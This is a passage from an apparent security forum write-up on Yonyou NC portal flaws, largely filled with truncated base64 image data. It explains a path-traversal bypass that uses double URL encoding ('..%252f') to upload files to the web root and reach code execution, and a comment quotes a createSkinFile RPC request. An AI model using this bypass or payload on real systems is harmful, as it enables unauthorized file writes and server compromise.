msX70UTdP3WX1i0Qgerw9N24fPBKRE83hJbrkfQvcQK8qlbPNKNMO77+r0F+HxemnTsSten5+SwgJWLZ2P4dlX+0USi0YxDA+avm/O2URNHBtfagO8qVnESvKJleQBVS4+UqIHkkhq1h6h6UQLc6jIWYfYR9+1fxrLMmnZthMZWdlYlsW6FUsoKyvZZ9cR04yBlHi8vlr/3rxNey67+UHGff0x4779GMPw7Pm6YlEuvvE+gqEkCvO2IdTbtBVF+RdRAdJunNI2xqVdi7Ac9+awqdzHWeNS8et7tytDVsPGHHXqBeRsWs8rj9+DZcb+tjek7MZNufSmB9A0gZQSTdOZ9etEvvzLine truncated
<p>最后到JSONTokener的nextValue函数,会把传进去的字符串进行一个字符一个字符的判断。</p>
<pre><code>如跳转目录的../../../被处理会变成了..</code></pre>
<p><a id=img21 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105729-195cbe76-df53-1.png><img src="data:image/png;base64,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 truncated
<p>window环境下可以直接..\..\即可。为了通用的话还是需要处理一下<br>
这里注意到在fromJsObject处理之后会调用如一次decode</p>
<p><a id=img22 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105740-201d3f2e-df53-1.png><img src=data:image/png;base64,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 truncated
<p>这里传递两层url编码即可</p>
<pre><code>当发送..%252f..%252f这个字符串后,服务器进行第一次解码,到fromJsObject处理时,此时的路径为..%2f..%2f,绕过/检测,接着经过JsURLDecoder.decode(),变成了../../,最后拼接到filePath。</code></pre>
<p>到这里就可以web根目录上传文件了<br>
最后,这里就是一个代码执行,也可以调用其他类方法,只是类有点限制,如读文件win.ini。</p>
<p><a id=img23 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105759-2afb4d3c-df53-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA2AAAAEQCAYAAADWLxdMAAEAAElEQVR4nOydd3gVxdeA3733pvdC77333hEp0hUQRRRBmiKggGChKaJSBQRRiiBdEOm9g/QSIBAgIYWSRnq5uf3ufn9csiSQ0D77b16e+5DdnZ2dnd2dmTPnzDlScHCogkAgEAgEgn8skiSpfyuK6LYFAoHg34xktVpFSy4QCAQCwT8YnU6n/m2324UQJhAIBP9iNH93AQQCgUAgEAgEAoHgfwUhgAkEAoFAIBAIBALBX4QQwAQCgUAgEAgEAoHgL0IIYAKBQCAQCAQCgUDwFyEEMIFAIBAIBAKBQCD4ixACmEAgEAgEAoFAIBD8RQgBTCAQCAQCgUAgEAj+IoQAJhAIBAKBQCAQCAR/EUIAEwgEAoFAIBAIBIK/CCGACQQCgUAgEAgEAsFfhBDABAKBQCAQCAQCgeAvQidFXHqw5eSKUrwCaLR/zdU1WlBkUJS/5noCgUAgEPyHkcxGuBsKEqAAbh4oRcuDJP3dRRMIBALBfSSlp5eC3eYQhDRaqNQU28Qt4OzyJ19ZQvdpB5Su72Fv0v3PvZZAIBAIBP9idDqd+rfdbkfJa+JSktDcuoZmbGOQ7Y59Gi1K1w+xv/m5EMIEAoHgH4IOnTPysB9RKjZEs2cJ0smNSLFh4OGLdHYH6JxRGnRC8S+M5tIhiAiCopUgPQGlbnukSwdRarZGKVoezf4VKE26oTi5oLmwD+5FQolqyHXbogk9B9ePg0aHUqsNJMVA4i0I2odUsipKsQp/d10IBAKBQPDvRpJAo8X+YxiYstAuH4d09QgoMlLkFaQrh8GvKEqT7pCVhnR6KxgzoWxd5CpN0JzfDc5uEHsTCpZCrtcBdE5I104ihV8Ar0Dkpi8jWc1IZ7aDdwG4GwIV6iPXbosUF4l0bjvYrFChEXKNFkgZyUinNoPV4hgvlKj8d9eSQCAQ/K3oACSTATLTIPE2OLmAxhnt2OZQtTkkx6Kc343yzkw001+DF/rB0V8gPgI5YD2a5R8hf7AcpXgFNKsmIldpghTyO5q1X0D9TrBpFlL30UjH1qBUaoaUFg+HVyO36QeKHQxpjoZaIBAIBALBH4KUlQH6VLgXhVK0PJI+He2UbtDydTi4CuXmeZA0SHeuotRogzTzdfhgJZrNsyE9AWq0gQ1T4b0foUgZR//f6GW48TOagyuQB85E89MYKFEVvAJh50LkVdFo1kxGMupRSlRFmtQOZp1G8+3b4B0ATq5waAW2SdvBJ/DvriKBQCD423A44Ti2FunXr5HCz6OUrIHmxklAQfH0QylVDSnkGNL2BSh1X8I27DvkVz9xmCxKEg5D8/tmDfdn3jRnt0PxKiju3uDshnRxLxQohRR2BsWvMHLn95E7DgE3H2jUDaV0tb/r/gUCgUAg+G8haZDWfY7023RIjoby9dFsmwcevigaDRQsiXR4FfgUgITbEBuK0n0MSsESACgdhmD7cClK67eQLu5FOrkFpXY7bB8sRn5tPNyLgNhI0OqQ+36ObeImsJqRLBYoWBpuX4XMJJQ+n0NqPOiTUQqURClZFeLCkbLS/s7aEQgEgr8dHYD86icoNVqj3fE90q6FKCUqgbMrStsBUKA4UrNecPkApNocZ2Wbnkv3nSjaLEiyAuZMx2GtFqq2QOk8GKlZTxRTFopdgYLF0WxfgLRlNkrVJjkzyvG3QCAQCASC50a2Y/9sPdhs6OYNdvTfVZpCYHGUriMcwlJcJIqrF0rznkiXjyL9OhWNfL+Pt9scE6qyY6JV0Tkj2a2Orjo7jVbnSKNzuT/56oRkt6HUeQml87tIR39F+u1rpHYDHRO2LV5DqVgPqUFn8C/yt1WNQCAQ/BPQORpYQKNBLl0LrcWIUqUZUsRFpHVfOBrUgGLIr32G9suX0U7vi5R4xyF8+RWCwuXR/DoNft/oaIhlO8oL/dCsmgjR1+D2FegyAs2ZrSg6FxQJpEJlwdMfCpdF+nU6Gu9A5Nov/t11IRAIBALBvx9FdvwvSci12qL5bTr2l95Fe+UY0orPkBJuodRqh+TsjHRuD0qZGuDhj1KmNtL5XUint6C7fRUigpDfXYBSoASaOTvRTe0F8ZEoLfs4tGWyHXXyVJEBCenMZrh5AYpVAO+CyE17IqUlIG34Brz8wGZF+WgluHr8XbUjEAgEfzuSNS1JwdXDMZsl28GodzSMsh0p9R6SoiAHFHUswtWnIaXGwa0QNPMGYJ9/GSWgCJqkGGT/Io7ZMlcPh0BnzEKTEofiV8hhimg1I6XE3c+viGORr8WIJisd2cPvz/e6KBAIBALBv5Sn8oIIjn7YmAkePvcT28BsAHdvR5+bGI3i6oniVxAUBSk9EUmfhhJQFCwmtF/1QGn2Kkrjbije/o7+G8lxbnIsiocvipefI2+THlzujx8MGY5r2KxIaYlIxkzkAsUdYwK7DSkjCcmYhRxYDJxd/9zKEggEgn84ktVqfWbbP821U0jrpyKPXIoSIEwJBAKBQCD4M3lqAez/gz4V7arJKLXbIjfp9sfnLxAIBALgOQUwZLvDc6GTi4grIhAIBALBn8xfIoApCtgsoNGBVvvH5y8QCAQC4L4TjmdGowVn0TgLBAKBQPCfQZIcE6sCgUAg+FPR/N0FEAgEAoFAIBAIBIL/FYQAJhAIBAKBQCAQCAR/EUIAEwgEAoFAIBAIBIK/CCGACQQCgUAgEAgEAsFfhBDABAKBQCAQCAQCgeAvQghgAoFAIBAIBAKBQPAXoYuPi/tTLyBJEm+sv4ZGDReW/cfDMUyeL56Yoigs7F4Rb5c/3i1+4SKPBpnWaTW0nL0freZh2TW/+1HU7RJ+bizv15iHw7coisK9+PjnKqOLiwt+/v6P7LdZrSQlJT1Xnu4eHnh7ez/XuQKBQCD4a9FpJJrPPoCT9nnnVJ/cf+XE20XLD90rIv8Zscj+R8hzfKGRaDH7ALrneI6yrHBk9IvY5UefyfOO8xRFoUjRoo/slySJuNjY58pTq9VSoGDB5zpXIPgvoTOZTH/qBTQSHAu79+cFbFYgM6s4zorTH551clISAYGB6nZCponyk7djtNifO8+ygZ5M7FRdFcJsNht379xBes76MZlM6Jyc8PLyUvdZrVZioqOfu4wmkwknJyfc3NyeOw+BQCAQ/PlY7TKvLDrBiYjEv+yaAe5OmEwlyGOsL3hKYqKjKVK0KJr7k7lmm0zXxb9z/P/xHF+Yc5Bt77XC/X6cVlmWiY+Lw2KxPHeeSYmJBBYooG7b7XZioqORZfm589SlpuLn5/fc5wsE/wWECeJjyMjIyCUYbbhwJ2/hS3nM7yG+2HYll/YsPT39EeFLURTMZvNTlzP5IU1XSnJynukkScrzlxfxcXHPLRQKBAKB4K8hJcvCjuDnn3AT/D1YrVZyToDfyzCxJyQPrdIzjC+OhiUQlaRXty1m8yPCl6IoGAyGpy6nXq/PtW0wGPIUvvIbX+Q1jkhLTRXjC8H/PDpFUcgyGLDbbEiShM7JCTdX18d+HDabDZ1Op/7/rGglibIFPHF3dpxrMNuISsnCZn/+GZWHSUlNxd3NDVdXVxRF4fbt25QsWVKdbfqj8HNz5stONR4xKwS4k5rFvGNhWHLe11O0Oenp6fz++zG6du2GwWjAYrag12fi7OJCgcACz9VwJSYmsm//3jwb7cqVK1OvXv1nzlMgEAgE/zyctBqqF/VFURQUID7dyL3M/K1dXJ20KIpCdgdltj27lYfNZiMsLEztn/z8/ChcuPDzFD9PFEUhJiaGEiVKOO5LUUhISKBQoUJ/SN4GgwGbzQaATqfD3d39mfpas9mMs7PzHypYuDtpmdW9NnkNjTQSjNt+mSyL7cFOiSeOMfR6PQt/+J6Px32C3W4nPT0dg9GATqulYMFCzzVGMhgMbN6yKc/xha+fLx3av/RcY0WB4L+Mzm63czEoiHLlyztUyzExVK9WTTVpUxRFbVCy/759+zaVKlUiLCyMSpUq3W+4HTMgylPYhHs4a/n57abMPnANnUaid51SzDt8g98jElFtGjQSKIrDdDG7Y5B4sO8J7Ni+nTp16lCjRg3sdjujRo9m7Zo1aqOas8yyLKPRaJ5LpZ5qsjL70I08j5ls9tzC11NSoEABDIYsAK4EB3Pg4AFeeKENt2/fomTJUjRr2uyZ8/Tz8+OlDh3zPObm5vrM+QkEAoHgn0lBDxeCxnfilR+PEuDmxIttq/DmilMP+jhJcvS1kuPvJmUDMZhsaHUanICj4QkP+tkHctljSU1NpfvLL/P9998j2+0s+P575s6Zg7OzMxqNBkVRcvW12f1wzvHF47Db7UybNo3FixdjsViw2+0sXrKESRMnqpqWnH24oihP3a/LsszFS5coW7YsKAqxcXGULlWKwMDAR8qX3/btO3coXapULiEsV5r7wvCzYLDZmXXoRp4TvEiQZbXlceDxeHt74+zsTGZmJrIs8/3383nhhTakpaWh1+vp0+eNpxrH5cTNzS3f8YVWq0Wr/ePX6AsE/3YcUxKS5JhFUhQy0tOJj48nIiICRVGoVq0awVeuYDIaqVy5MmE3b6LX60lMSiIjI4PEpCSqV6uGr68vV0NCqFK58lPMoEigwIHr8UhAMW83fNydKRfoyZK+jfFxd2LCtsu8Xb80X+y9yiu1SnAvw8Tqs1F83K4qU/ZcfeKNKYpCWloaSUlJ2O12FEXBYrEwf8ECLl26xItt2lC+fHn27NnD0KFD+fyLL1gwfz6enp7PVIFOEsh5dE52WSHZ8Hx217Iso9M5oSgKdrudrl26UqtWbVo0b8mPixbSqGGjZ55Nyp4xzPvYcxVTIBAIBP9gdlLine truncated
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truncated
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<a class="label label-default" href=https://xz.aliyun.com/u/30881>1312783476807598</a>
<span class=bbs-time>2024-03-26 15:46:52</span>
<span>来自重庆 </span>
</span>
<div class="post-content markdown-body">
<p>师傅,以这种形式发包500错误,正确的数据包格式是什么样的呢。<br>
{<br>
"rpcdata": {<br>
"rpcname": "nc.uap.portal.service.itf.IPortalSpecService",<br>
"method": "createSkinFile",<br>
"params": {<br>
"projectPath": "/",<br>
"projectModuleName": "1",<br>
"type": "1",<br>
"themeId": "12345",<br>
"fileName": "123.txt",<br>
"fileText": "123"<br>
}<br>
}<br>
}</p>
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<h2 id=toc-0><strong>未授权访问漏洞+前台SQL注入漏洞</strong></h2>
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truncated
